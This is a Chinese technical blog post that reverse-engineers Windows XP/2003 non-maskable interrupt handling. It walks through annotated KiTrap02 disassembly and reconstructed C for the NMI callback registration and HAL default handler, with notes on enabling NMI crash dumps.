IDTEntry _KiTrap08, D_INT032 ; 8: Double Exception<br />
即Windbg中显示的：<br />
02: Task Selector = 0&#215;0058<br />
08: Task Selector = 0&#215;0050<br />
表示的是系统为处理这两个int而设置的任务门，KGDT_DF_TSS(50h)和KGDT_NMI_TSS(58h)。那么是系统什么时候设置的呢？ntoskrnl加载的时候，KERNEL_ENTRY_POINT是KiSystemStartup()函数，反汇编不难看出它的流程，你也可以参考WangYu的一篇文章<sub>[2]</sub>，或者可以参考ReactOs的代码，不过我们简单地反汇编一些：</p>
<p>0) 这里涉及一些结构，用Windbg可以清晰地看到：<br />
kd&gt; !pcr 0<br />
kd&gt; dt -r1 nt!_KPCR<br />
kd&gt; dt nt!_KIDTENTRY (_KGDTENTRY)<br />
kd&gt; dt -r1 nt!_KTHREAD<br />
kd&gt; dt -r1 nt!_KPROCESS</p>
<p>typedef struct _IDTENTRY{<br />
unsigned short   OffsetLow;    <span style="color: #ff99cc">//中断执行代码偏移量的底16位</span><br />
unsigned short   Selector;       <span style="color: #ff99cc">//选择器，也就是寄存器 </span><br />
unsigned char     Reserved;   <span style="color: #ff99cc"> //保留位，始终为零</span><br />
unsigned char     Type:4;         <span style="color: #ff99cc">//中断门，陷阱门和任务门<sub>[5]</sub></span><br />
unsigned char     SegmentFlag:1;   <span style="color: #ff99cc">//段标识位  1:CS\DS段描述符  0:门\系统描述符</span><br />
unsigned char     DPL:2;         <span style="color: #ff99cc">//权级，0:内核级，3:用户级</span><br />
unsigned char     Present:1;   <span style="color: #ff99cc">//呈现标志位<br />
</span> unsigned short    OffsetHigh;  <span style="color: #ff99cc">//中断执行代码偏移量的高16位</span><br />
}IDTENTRY,*PIDTENTRY;<sub>[4]</sub></p>
<p>typedef struct _KGDTENTRY {<br />
USHORT  LimitLow;<br />
USHORT  BaseLow;<br />
union {<br />
struct {<br />
UCHAR   BaseMid;<br />
UCHAR   Flags1;<br />
UCHAR   Flags2;<br />
UCHAR   BaseHi;<br />
} Bytes;<br />
struct {<br />
ULONG   BaseMid : 8;<br />
ULONG   Type : 5;<br />
ULONG   Dpl : 2;<br />
ULONG   Pres : 1;<br />
ULONG   LimitHi : 4;<br />
ULONG   Sys : 1;<br />
ULONG   Reserved_0 : 1;<br />
ULONG   Default_Big : 1;<br />
ULONG   Granularity : 1;<br />
ULONG   BaseHi : 8;<br />
} Bits;<br />
} HighWord;<br />
} KGDTENTRY, *PKGDTENTRY;</p>
<p>1) 首先是为NMI建立任务门，这样我们就能捕捉到NMI了：<br />
INIT:006053CE mov eax, [ebp+var_10]                    <span style="color: #ff99cc">; 之前由GetMachineBootPointers得到的Idt<br />
</span>INIT:006053D1 lea ecx, [eax+10h]                             <span style="color: #ff99cc">; 16/8 -&gt; 2号中断描述符<br />
</span>INIT:006053D4 mov byte ptr [ecx+5], 85h                 <span style="color: #ff99cc">; 10000101 -&gt; dpl=0, present, taskgate</span><br />
INIT:006053D8 mov word ptr [ecx+2], 58h                <span style="color: #ff99cc">; KGDT_NMI_TSS(58h)</span><br />
INIT:006053DE lea ecx, [edi+58h]<br />
INIT:006053E1 mov byte ptr [ecx+5], 89h                  <span style="color: #ff99cc">; 10001001 -&gt; 32bit, dpl=0, present, TSS32, not busy</span><br />
INIT:006053E5 mov edx, offset _KiNMITSS<br />
INIT:006053EA mov eax, edx<br />
INIT:006053EC mov [ecx+2], ax                                  <span style="color: #ff99cc">; KgdtBaseLow(2h)</span><br />
INIT:006053F0 shr eax, 10h<br />
INIT:006053F3 mov [ecx+7], ah                                   <span style="color: #ff99cc">; KgdtBaseHi(7h)</span><br />
INIT:006053F6 mov [ecx+4], al           &amp;nbs<br />
p;                        <span style="color: #ff99cc">; KgdtBaseMid(4h)</span><br />
INIT:006053F9 mov eax, 68h                                       <span style="color: #ff99cc">; MINIMUM_TSS_SIZE(68h)</span><br />
INIT:006053FE mov [ecx], ax                                        <span style="color: #ff99cc">; KgdtLimitLow(0h)</span><br />
INIT:00605401 push edx<br />
INIT:00605402 push edx<br />
INIT:00605403 call KiInitializeTSS(x)</p>
<p>2) 然后是建立堆栈(32位)：<br />
INIT:00605408 pop edx<br />
INIT:00605409 mov eax, cr3<br />
INIT:0060540C mov [edx+1Ch], eax                                            <span style="color: #ff99cc">; TssCr3(1ch)</span><br />
INIT:0060540F mov eax, offset P0BootStack<br />
INIT:00605414 mov eax, [eax+38h]<br />
INIT:00605417 mov [edx+4], eax                                                  <span style="color: #ff99cc">; TssEsp0(4h) , NMI stack</span><br />
INIT:0060541A mov [edx+38h], eax<br />
INIT:0060541D mov dword ptr [edx+20h], offset _KiTrap02           <span style="color: #ff99cc">; 处理例程<br />
</span>INIT:00605424 mov dword ptr [edx+24h], 0                                  <span style="color: #ff99cc">; eflags<br />
</span>INIT:0060542B mov word ptr [edx+4Ch], 8                                   <span style="color: #ff99cc">; KGDT_R0_CODE(8h) -&gt; CS<br />
</span>INIT:00605431 mov word ptr [edx+58h], 30h                                <span style="color: #ff99cc">; KGDT_R0_PCR(30h) -&gt; FS<br />
</span>INIT:00605437 mov word ptr [edx+50h], ss<br />
INIT:0060543A mov word ptr [edx+48h], 23h                                <span style="color: #ff99cc">; KGDT_R3_DATA(20h) + RPL_MASK(3h)</span><br />
INIT:00605440 mov word ptr [edx+54h], 23h                                <span style="color: #ff99cc">; 初始化ES，DS</span><br />
INIT:00605446 push offset _KiDoubleFaultStack                         <span style="color: #ff99cc">; 使用int 8号的Double Fault堆栈</span><br />
//&#8230;<br />
INIT:0060545D call KiInitializePcr(x,x,x,x,x,x,x)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
如果想在XP里设置Handler处理NMI，那么也该仿造以上过程，设置处理例程KiTrap02，把NMI-TSS里的EIP指向你的处理代码，然后建立堆栈,最后还要在iret后面添加jmp回到你的处理代码.原因简单地说,就是每当接受一个NMI中断，处理器会在内部屏蔽再次响应NMI，这一屏蔽过程直到执行中断返回指令IRET后才结束。还是直接看反汇编的KiTrap02代码吧:</p>
<p>.text:00484748 ; =============== S U B R O U T I N E =====================<br />
.text:00484748<br />
.text:00484748 <span style="font-size: larger"><span style="color: #ff0000">_KiTrap02</span></span> proc near<br />
.text:00484748<br />
.text:00484748 var_8 = dword ptr -8<br />
.text:00484748 var_4 = dword ptr -4<br />
.text:00484748<br />
.text:00484748 cli<br />
.text:00484749 mov eax, ds:0FFDFF040h                                  <span style="color: #ff99cc">; nt!_KPCR + 40 == _KTSS<br />
</span>.text:0048474E mov ecx, ds:0FFDFF124h                                  <span style="color: #ff99cc">; nt!_KTHREAD<br />
</span>.text:00484754 mov edi, [ecx+38h]                                               <span style="color: #ff99cc">; Edi= _KPROCESS</span><br />
.text:00484757 mov ecx, [edi+18h]                                               <span style="color: #ff99cc">; ULONG_PTR DirectoryTableBase[2]<br />
</span>.text:00484757                                                                          <span style="color: #ff99cc">; DirectoryTableBase[1]-&gt; hyperspace<br />
</span>.text:00484757                                                                          <span style="color: #ff99cc">; DirectoryTableBase[0]-&gt; CR3<br />
</span>.text:0048475A mov [eax+1Ch], ecx                                              <span style="color: #ff99cc">; TSS.Edx= DirectoryTableBase[0]</span><br />
.text:0048475D mov cx, [edi+30h]<br />
.text:00484761 mov [eax+66h], cx                                           <span style="color: #ff99cc">; TSS.IoMapBase= KPROCESS.IopmOffset</span><br />
.text:00484765 mov ecx, [edi+20h]              &amp;<br />
nbsp;                                <span style="color: #ff99cc">; LdtDescriptor:_KGDTENTRY</span><br />
.text:00484768 test ecx, ecx<br />
.text:0048476A jz short loc_484770<br />
.text:0048476A<br />
.text:0048476C mov cx, 48h                                                          <span style="color: #ff99cc">;KGDT_LDT(0&#215;48)</span><br />
.text:0048476C<br />
.text:00484770 loc_484770:<br />
.text:00484770 mov [eax+60h], cx                                                  <span style="color: #ff99cc">; set TSS.LDT </span><br />
.text:00484774 push dword ptr ds:0FFDFF040h                        <span style="color: #ff99cc">; PcTss</span><br />
.text:0048477A mov eax, ds:0FFDFF03Ch                                   <span style="color: #ff99cc">; PcGdt(3c)</span><br />
.text:0048477F mov ch, [eax+5Fh]                                               <span style="color: #ff99cc">; KGDT_NMI_TSS(58)+KgdtBaseHi(7)</span><br />
.text:00484782 mov cl, [eax+5Ch]                                               <span style="color: #ff99cc"> ; KGDT_NMI_TSS(58)+KgdtBaseMid(4)</span><br />
.text:00484785 shl ecx, 16<br />
.text:00484788 mov cx, [eax+5Ah]                                              <span style="color: #ff99cc"> ; KGDT_NMI_TSS(58)+KgdtBaseLow(2)</span><br />
.text:0048478C mov ds:0FFDFF040h, ecx                                    <span style="color: #ff99cc">; PcTss</span><br />
.text:0048478C                                                                        <span style="color: #ff99cc">;// PCR.TSS points to the NMI TSS</span><br />
.text:0048478C<br />
.text:00484792 pushf<br />
.text:00484793 and [esp+8+var_8], 11111111111111111011111111111111b<br />
.text:0048479A popf                                 <span style="color: #ff99cc"> ;// Clear Nested Task bit in EFLAGS, no more NMI handler</span><br />
.text:0048479A<br />
.text:0048479B mov ecx, ds:0FFDFF03Ch                                   <span style="color: #ff99cc">; PcGdt</span><br />
.text:004847A1 lea eax, [ecx+58h]                                                  <span style="color: #ff99cc">; lea eax, [ecx] +KGDT_NMI_TSS<br />
</span>.text:004847A4 mov byte ptr [eax+5], 10001001b<br />
<span style="color: #ff99cc">; 32bit,dpl=0, present, TSS32, not busy<br />
</span>.text:004847A4                                                                              <span style="color: #ff99cc">; // Clear the busy bit in the TSS selector</span><br />
.text:004847A4<br />
.text:004847A8 mov eax, [esp+4+var_4]                                        <span style="color: #ff99cc">; var_4 = KiSaveProcessorState(&#8230;)</span><br />
.text:004847AB push 0<br />
//&#8230; &#8230;<br />
.text:0048480B push ebp<br />
.text:0048480C call <span style="color: #ff00ff">KiSaveProcessorState(x,x)<br />
</span>.text:0048480C<br />
.text:00484811 call <span style="color: #ff00ff">KiHandleNmi() </span> <span style="color: #ff99cc">; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;- Our CallBack Routines here..</span><br />
.text:00484811<br />
.text:00484816 or al, al                                                              <span style="color: #ff99cc">; if any CallBackRoutine handled nmi trap..</span><br />
.text:00484818 jnz short Nmi_Magic_Handled                             <span style="color: #ff99cc"> ; Jump to restore and wait..</span><br />
.text:00484818<br />
.text:0048481A cmp ds:NmiUnknowFlag, 0                          &amp;n<br />
bsp;      <span style="color: #ff99cc"> ;  Nmi counts (Can anybody tell?)</span><br />
.text:00484821 jnz short loc_484825                                               <span style="color: #ff99cc">; Setup Kernel debugger&#8230;</span><br />
.text:00484821<br />
.text:00484823 jmp short loc_484849                                             <span style="color: #ff99cc">; Pass nmi to Hal.dll,actually crash..</span><br />
.text:00484823<br />
.text:00484825 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:00484825 loc_484825:<br />
.text:00484825 cmp ds:NmiUnknowFlag, 8                                  <span style="color: #ff99cc"> ; 0 No more Nmi, just pass to HAL<br />
</span>.text:00484825                                                            <span style="color: #ff99cc"> ; 1-7 Nested Nmi, just pass to HAL and do crash</span><br />
.text:00484825                                                                                    <span style="color: #ff99cc">; 8 Get into KdDebugger</span><br />
.text:00484825                                                                                    <span style="color: #ff99cc">; &gt;8 Dead Lock<br />
</span>.text:0048482C jb short loc_484849<br />
.text:0048482C<br />
.text:0048482E jnz short loc_484847</p>
<p>.text:00484830 cmp ds:_KdDebuggerNotPresent, 0              <span style="color: #ff99cc"> ; if ( !_KdDebuggerNotPresent )</span><br />
.text:00484837 jnz short loc_484847<br />
.text:00484839 cmp ds:_KdDebuggerEnabled, 0                    <span style="color: #ff99cc">; if ( _KdDebuggerEnabled )</span><br />
.text:00484840 jz short loc_484847<br />
.text:00484842 call <span style="color: #ff00ff">KeEnterKernelDebugger() </span> <span style="color: #ff99cc"> ; KeEnterKernelDebugger();<br />
</span>.text:00484847 loc_484847:                                                         <span style="color: #ff99cc">; else</span><br />
.text:00484847 jmp short loc_484847                                       <span style="color: #ff99cc">;  while(1);<br />
</span>.text:00484849 loc_484849:<br />
.text:00484849 inc ds:NmiUnknowFlag<br />
.text:0048484F push 0<br />
.text:00484851 call ds:<span style="color: #ff00ff">HalHandleNMI(x) </span> <span style="color: #ff99cc"> ; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;- Default Nmihandler in Hal</span><br />
.text:00484851<br />
.text:00484857 dec ds:NmiUnknowFlag<br />
.text:0048485D jnz short _Nmi_DoCrash                                       <span style="color: #ff99cc">; But can we reach here? hmm..</span><br />
.text:0048485D<br />
.text:0048485F Nmi_Magic_Handled:<br />
.text:0048485F mov eax, ds:0FFDFF040h                                         <span style="color: #ff99cc">; eax= _KTSS</span><br />
.text:00484864 cmp word ptr [eax], 58h                                <span style="color: #ff99cc"> ; if KGDT_NMI_TSS(58h)</span><br />
.text:00484868 jz short _Nmi_DoCrash                          <span style="color: #ff99cc">;In another Nmi,we can&#8217;t handle it,just crash</span><br />
.text:00484868<br />
.text:0048486A add esp, 8Ch                                                           <span style="color: #ff99cc">; Nmi handled,so let&#8217;s restore</span><br />
.text:0048486A<br />
.text:00484870 pop dword ptr ds:0FFDFF040h                                <span style="color: #ff99cc">; restore PcTss<br />
</span>.text:00484876 mov ecx, ds:0FFDFF03Ch                                          <span>; PcGdt</span><br />
.text:0048487C lea eax, [ecx+28h]                                                       <span style="color: #ff99cc">; lea eax, [ecx] +KGDT_TSS</span><br />
.text:0048487F mov byte ptr [eax+5], 8Bh                                       <span style="color: #ff99cc">; 32bit, dpl=0, present,TSS32, *busy*</span><br />
.text:00484883 pushf<br />
.text:00484884 or [esp+4+var_4], 4000h                                        <span style="color: #ff99cc">; Set Nested Task bit in EFLAGS</span><br />
.text:0048488B popf                                                                            <span style="color: #ff99cc">; then iretd will start a tast switch</span><br />
.text:0048488C <span style="color: #ff0000">iret</span><br />
.text:0048488D <span style="color: #ff0000">jmp _KiTrap02</span> <span style="color: #ff99cc">; &lt;&#8212;&#8212;&#8211;!!!!!!!!!!!!!!!!!!!!!</span><br />
.text:00484892<br />
.text:00484892 <span style="color: #ff00ff">_Nmi_DoCrash</span>:<br />
.text:00484892 mov eax, 2<br />
.text:00484897 jmp _KiSystemFatalException       <span style="color: #ff99cc"> ; Crash!! UNEXPECTED_KERNEL_MODE_TRAP</span><br />
.text:00484897<br />
.text:00484897 _KiTrap02 endp</p>
<p>大致的流程是设置返回后中断门需要的信息,更新TSS,保存CPU状态,调用用户注册的NMI处理例程;如果不能处理,则交给默认的Nmi Handler,也就是HalHandleNMI(x),但是它并不能做什么实质性的解决工作,只是准备BugCheck&#8230;上面还有一些需要详细解释的:</p>
<p style="text-align: left"><span style="color: #993366"><span><span><span style="background-color: #ffffff">1) KiSaveProcessorState对多核系统是必须的,因为NMI一次只能由一个CPU来处理,如果不保存,会在Bugcheck的时候出现dump出来的信息不准确的情况。<br />
2) NmiUnknowFlag按我的理解是NMI的触发次数,一种情况是iret进BIOS int 10触发另一个NMI，或者由NMI激发进入SMM(查考我之前的一篇文章),而SMM下设置了SMI Handler，那么就会可能再出现NMI，而在SMM RSM切换出来的时候，由于SMM的state save map里并不保存NMI的状态信息，所以RSM必然触发NMI，这样的话我们很有可能面对处理两次或者更多NMI(Nested Nmi)。所以我们必须判断当前是不是nested Nmi，是的话尝试处理。<br />
3) 处理嵌套的Nmi有几种情况，一是调试器触发导致nested Nmi，这个不用担心；对于SMM触发的，那就必须在SMM内部解决掉NMI，这就是我上篇文章里提到的一些内容<sub>[6]</sub>，还是那句老话，想接收并处理(unmask)中断，简单的iret是不行的（或者可行，只是我用的测试方法不对:)，如果可以，麻烦指点一二)，得想其他办法，参考我的文章；<br />
4) .text:00484825 cmp ds:NmiUnknowFlag, 8 这个我在一年多前刚看到的时候也很迷惑，但是之后的一个显卡驱动项目让我明白了意思：由于BIOS里的显卡部分会处理int 10，如果处理例程里修改了KGDT_TSS，就可能引发Nmi，而且这是个恶性循环，由于TSS的错位，会产生更多错误的NMI来弥补错误。而这句就是判断是不是超过8个NMI了，是的话神也处理不了了，但是又不能直接Bugcheck，因为这样又会”自作多情”地又调用显卡处理，所以只能死锁掉(while..)。</span></span></span></span>
</p>
<p style="text-align: left"><span style="color: #993366"><span><span><span style="background-color: #ffffff">5) 关于刷新BIOS&#8230;这个和我上篇<sub>[6]</sub>里也是有关联的.Map BIOS那部分内存简单,你可以translate address,但是想真正修改却是个麻烦事.这个先放着,等有机会好好和大家交流.</span></span></span></span></p>
<p>言归正传,在XP下,NMI一旦触发,都是交给HalHandleNMI,然后直接crash掉系统.Win2003下提供了一个很好的机制KeRegisterNmiCallback, 你可以注册Nmi的处理例程,这样发生Nmi中断的时候,你可以进行一些收尾工作,但是注意在回调函数里有很多的限制,不能有系统函数调用,不能去获取SpinLock,必须使用Interlocked系列进行数据操作等等..</p>
<p>函数原型:<br />
PVOID<br />
KeRegisterNmiCallback(<br />
PNMI_CALLBACK CallbackRoutine,<br />
PVOID Context<br />
);</p>
<p>还原出来的源代码如下:</p>
<p>static PVOID gKiNmiCallbackListHead= NULL;<br />
KSPIN_LOCK KiNmiCallbackListLock;</p>
<p>typedef struct _KNMI_CALLBACK_RECORD<br />
{<br />
struct _KNMI_CALLBACK_RECORD *PreCallBackRecord;<br />
PNMI_CALLBACK CallbackRoutine;<br />
PVOID Context;<br />
_KNMI_CALLBACK_RECORD *CurCallBackRecord;<br />
} KNMI_CALLBACK_RECORD, *PKNMI_CALLBACK_RECORD;<br />
// 以上是全局变量和结构体的声明.</p>
<p>PVOID _KeRegisterNmiCallback( IN PNMI_CALLBACK CallbackRoutine,<br />
IN OPTIONAL PVOID Context )<br />
{<br />
PVOID result;<br />
PKNMI_CALLBACK_RECORD pKNmiCallbackRecord;<br />
KIRQL OldIrql;<br />
result = ExAllocatePoolWithTag(NonPagedPool, sizeof(KNMI_CALLBACK_RECORD), &#8216;IMNK&#8217;);<br />
pKNmiCallbackRecord = (PKNMI_CALLBACK_RECORD)result;<br />
if ( result )<br />
{<br />
pKNmiCallbackRecord-&gt;CallbackRoutine = CallbackRoutine;<br />
pKNmiCallbackRecord-&gt;Context = Context;<br />
pKNmiCallbackRecord-&gt;CurCallBackRecord = result;<br />
OldIrql = KfAcquireSpinLock(&amp;KiNmiCallbackListLock);<br />
pKNmiCallbackRecord-&gt;PreCallBackRecord = gKiNmiCallbackListHead;<br />
InterlockedCompareExchange( (PLONG)&amp;gKiNmiCallbackListHead, (LONG)pKNmiCallbackRecord,(LONG)</p>
<p>gKiNmiCallbackListHead );<br />
KfReleaseSpinLock(&amp;KiNmiCallbackListLock, OldIrql);<br />
result = pKNmiCallbackRecord-&gt;CurCallBackRecord;<br />
}<br />
return result;<br />
}</p>
<p>NTSTATUS _KeDeregisterNmiCallback(PVOID Handle)<br />
{<br />
KIRQL OldIrql;<br />
PKNMI_CALLBACK_RECORD *tmpCallBackRecord;<br />
PKNMI_CALLBACK_RECORD CurCa<br />
llBackRecord;<br />
NTSTATUS result;</p>
<p>CurCallBackRecord = (PKNMI_CALLBACK_RECORD)gKiNmiCallbackListHead;<br />
OldIrql = KfAcquireSpinLock(&amp;KiNmiCallbackListLock);<br />
tmpCallBackRecord = &amp;(PKNMI_CALLBACK_RECORD)gKiNmiCallbackListHead;</p>
<p>if ( !gKiNmiCallbackListHead )<br />
{<br />
KfReleaseSpinLock(&amp;KiNmiCallbackListLock, OldIrql);<br />
result = STATUS_INVALID_HANDLE;</p>
<p>return result;<br />
}<br />
do<br />
{<br />
if ( (ULONG)(CurCallBackRecord-&gt;CurCallBackRecord) == (ULONG)Handle )<br />
break;<br />
tmpCallBackRecord = (PKNMI_CALLBACK_RECORD*)CurCallBackRecord;<br />
CurCallBackRecord = *(PKNMI_CALLBACK_RECORD*)CurCallBackRecord;<br />
}<br />
while ( CurCallBackRecord );<br />
if ( CurCallBackRecord &amp;&amp; (ULONG)(CurCallBackRecord-&gt;CurCallBackRecord) == (ULONG)Handle )<br />
{<br />
*tmpCallBackRecord = *(PKNMI_CALLBACK_RECORD*)CurCallBackRecord;<br />
KfReleaseSpinLock(&amp;KiNmiCallbackListLock, OldIrql);<br />
ExFreePoolWithTag(CurCallBackRecord, &#8216;IMNK&#8217;); result = 0;<br />
}<br />
else<br />
{<br />
KfReleaseSpinLock(&amp;KiNmiCallbackListLock, OldIrql);<br />
result = STATUS_INVALID_HANDLE;</p>
<p>}<br />
return result;<br />
}<br />
其中,gKiNmiCallbackListHead是系统的一个全局变量,它指向最后注册的CallBackRecord,以反向的链表把所有的CallBack连接起来.正如MSDN中描述的:<br />
<span style="background-color: #ccffcc">When a nonmaskable interrupt occurs, the system calls each registered callback in reverse order from the orderin which they were registered.<br />
For the first callback, the system passes FALSE as the Handled parameter. For each subsequent callback, if anyprevious callback returned TRUE, the system passes TRUE as the Handled parameter, otherwise it passes FALSE. If any callback returns a value of TRUE, the system considers the interrupt to have been handled.Otherwise, thesystem calls the HAL&#8217;s default handler for the interrupt, which normally causes the system to bug check.</span></p>
<p>正如前面的反汇编代码,NMI处理的流程大致为KiSystemStartup -&gt; _KiTrap02 -&gt; KiHandleNmi -&gt; HalHandleNMI.把其他两个函数的代码也还原如下:</p>
<p>BOOLEAN _KiHandleNmi()<br />
{<br />
PKNMI_CALLBACK_RECORD CurCallBackRecord;<br />
BOOLEAN nmiHandled;<br />
CurCallBackRecord = gKiNmiCallbackListHead;<br />
nmiHandled = FALSE;<br />
while ( CurCallBackRecord )<br />
{<br />
nmiHandled |= (CurCallBackRecord-&gt;CallbackRoutine)(CurCallBackRecord-&gt;Context, nmiHandled) ;<br />
CurCallBackRecord = CurCallBackRecord-&gt;PreCallBackRecord;<br />
}<br />
return nmiHandled;<br />
}</p>
<p>// HalHandleNMI比较长,加了点注释:<br />
void _HalHandleNMI(PVOID NmiInfo)<br />
{<br />
UCHAR EISAExNmiStatus;<br />
UCHAR PortNmiStatus;<br />
UCHAR EisaPort;<br />
PUCHAR Port;<br />
UCHAR EisaNMIMsgBuff[28];<br />
ULONG i;</p>
<p>HalpNMIInProgress = 1;<br />
HalpDoingCrashDump = 1;<br />
EisaPort = READ_PORT_UCHAR((PUCHAR)0&#215;61); // 0&#215;61 -&gt; SYSTEM_CONTROL_PORT_B</p>
<p>if ( InbvIsBootDriverInstalled() )<br />
{<br />
InbvAcquireDisplayOwnership();<br />
InbvResetDisplay();<br />
InbvSolidColorFill(0, 0, 639, 479, 4);<br />
InbvSetTextColor(15); InbvInstallDisplayStringFilter(0);<br />
InbvEnableDisplayString(1); InbvSetScrollRegion(0, 0, 639, 479);<br />
}</p>
<p>HalDisplayString(“\n*** Hardware Malfunction\n\n”);<br />
HalDisplayString(“Call your hardware vendor for support\n\n”);<br />
if ( EisaPort &amp; 0&#215;80 )<br />
HalDisplayString(“NMI: Parity Check / Memory Parity Error\n”);</p>
<p>if ( EisaPort &amp; 0&#215;40 )<br />
HalDisplayString(“NMI: Channel Check / IOCHK\n”);</p>
<p>if ( HalpBusType == 1 ) // #define MACHINE_TYPE_EISA 1<br />
{<br />
EISAExNmiStatus = READ_PORT_UCHAR((PUCHAR)0&#215;461); // 0&#215;461 -&gt; EISA_EXTENDED_NMI_STATUS<br />
EisaPort = EISAExNmiStatus;<br />
if ( (char)EISAExNmiStatus &lt; 0 )<br />
HalDisplayString(“NMI: Fail-safe timer\n”);<br />
if ( EisaPort &amp; 0&#215;40 )<br />
HalDisplayString(“NMI: Bus Timeout\n”);<br />
if ( EisaPort &amp; 0&#215;20 )<br />
HalDisplayString(“NMI: Software NMI generated\n”);<br />
EisaPort = 1;<br />
port = (EisaPort &lt;&lt; 12) + 0xC80;<br />
do {<br />
WRITE_PORT_UCHAR(Port, 0xFF);<br />
if ( (char)READ_PORT_UCHAR(Port) &gt;= 0 )<br />
{<br />
PortNmiStatus = READ_PORT_UCHAR(Port + 4);<br />
if ( PortNmiStatus &amp; 0&#215;2 )<br />
{<br />
if ( PortNmiStatus != 0xFFFFFFFF )<br />
{ // EisaNMIMsg[]: “NMI: Eisa IOCHKERR board %\n”<br />
memcpy(EisaNMIMsgBuff, &amp;EisaNMIMsg, sizeof(EisaNMIMsgBuff));<br />
&amp;nbs<br />
p;       i = 0;<br />
if ( EisaNMIMsgBuff )<br />
{<br />
while ( EisaNMIMsgBuff[i] != &#8216;%&#8217; )<br />
{<br />
++i;<br />
if ( !EisaNMIMsgBuff[i] )<br />
goto DisplayMsg;<br />
}<br />
EisaNMIMsgBuff[i] = (EisaPort &gt; 9 ? &#8216;A&#8217;-10 : &#8217;0&#8242;) + EisaPort;<br />
}<br />
DisplayMsg: HalDisplayString(EisaNMIMsgBuff);<br />
}<br />
}<br />
}<br />
++EisaPort; Port += 0&#215;1000;<br />
} while ( EisaPort &lt;= 0xF );<br />
}<br />
HalDisplayString(“\n*** The system has halted ***\n”);<br />
if ( HalpNMIDumpFlag ) //Registry\Machine\System\CurrentControlSet\Control\CrashControl<br />
KeBugCheckEx(0&#215;80, &#8216;ODT&#8217;, 0, 0, 0);<br />
if ( !KdDebuggerNotPresent )<br />
{<br />
if ( KdDebuggerEnabled )<br />
KeEnterKernelDebugger();<br />
} while ( 1 );<br />
}</p>
<p>有意思的是HalpNMIDumpFlag这个全局标志(HalpGetNMICrashFlag),它决定了NMI触发而且要Crash系统的时候是否生成dump<sub>[3]</sub>.其实就是注册表的这个位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control \CrashControl,CrashDumpEnabled设置为2,NMICrashDump设置为1.这个可以为服务器生成dump以调试,比如DELL PE2850,设置好BISO允许使用NMI Button后,你只要按下机器上的NMI按钮就可以了.</p>
<p>todo&#8230; <img src='http://www.softrce.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<hr />[1] [IDT] <a href="http://en.wikipedia.org/wiki/Interrupt_descriptor_table">http://en.wikipedia.org/wiki/Interrupt_descriptor_table</a><br />
[GDT] <a href="http://wiki.osdev.org/GDT_Tutorial">http://wiki.osdev.org/GDT_Tutorial</a><br />
[2] [Windows NT5.2 的启动过程] <a href="http://advdbg.org/blogs/advdbg_system/articles/409.aspx">http://advdbg.org/blogs/advdbg_system/articles/409.aspx</a><br />
[3] [NMI Crash Dump Switch Support] <a href="http://www.microsoft.com/whdc/system/sysinternals/dmpsw.mspx">http://www.microsoft.com/whdc/system/sysinternals/dmpsw.mspx</a><br />
[4] [解析Windows2000的IDT扩展机制] <a href="http://www.xfocus.net/articles/200309/618.html">http://www.xfocus.net/articles/200309/618.html</a><br />
[5] [任务状态段和控制门] <a href="http://dev.csdn.net/article/17/17358.shtm">http://dev.csdn.net/article/17/17358.shtm</a><br />
[6] About the SMM rootkit ] <a href="http://www.softrce.net/post/19.html">http://www.softrce.net/post/19.html</a></p>
<hr />
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/83" rel="bookmark" title="Permanent Link: 中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li><a href="http://www.softrce.net/archives/213" rel="bookmark" title="Permanent Link: MS07-014调试手记">MS07-014调试手记</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2009年06月1日 -- <a href="http://www.softrce.net/archives/192" title="BEIH/F：总线枚举接口劫持/伪造">BEIH/F：总线枚举接口劫持/伪造</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/13" title="[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析">[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</a></li><li>2009年05月30日 -- <a href="http://www.softrce.net/archives/189" title="基于NDIS Filter 抓包">基于NDIS Filter 抓包</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/12/feed</wfw:commentRss>
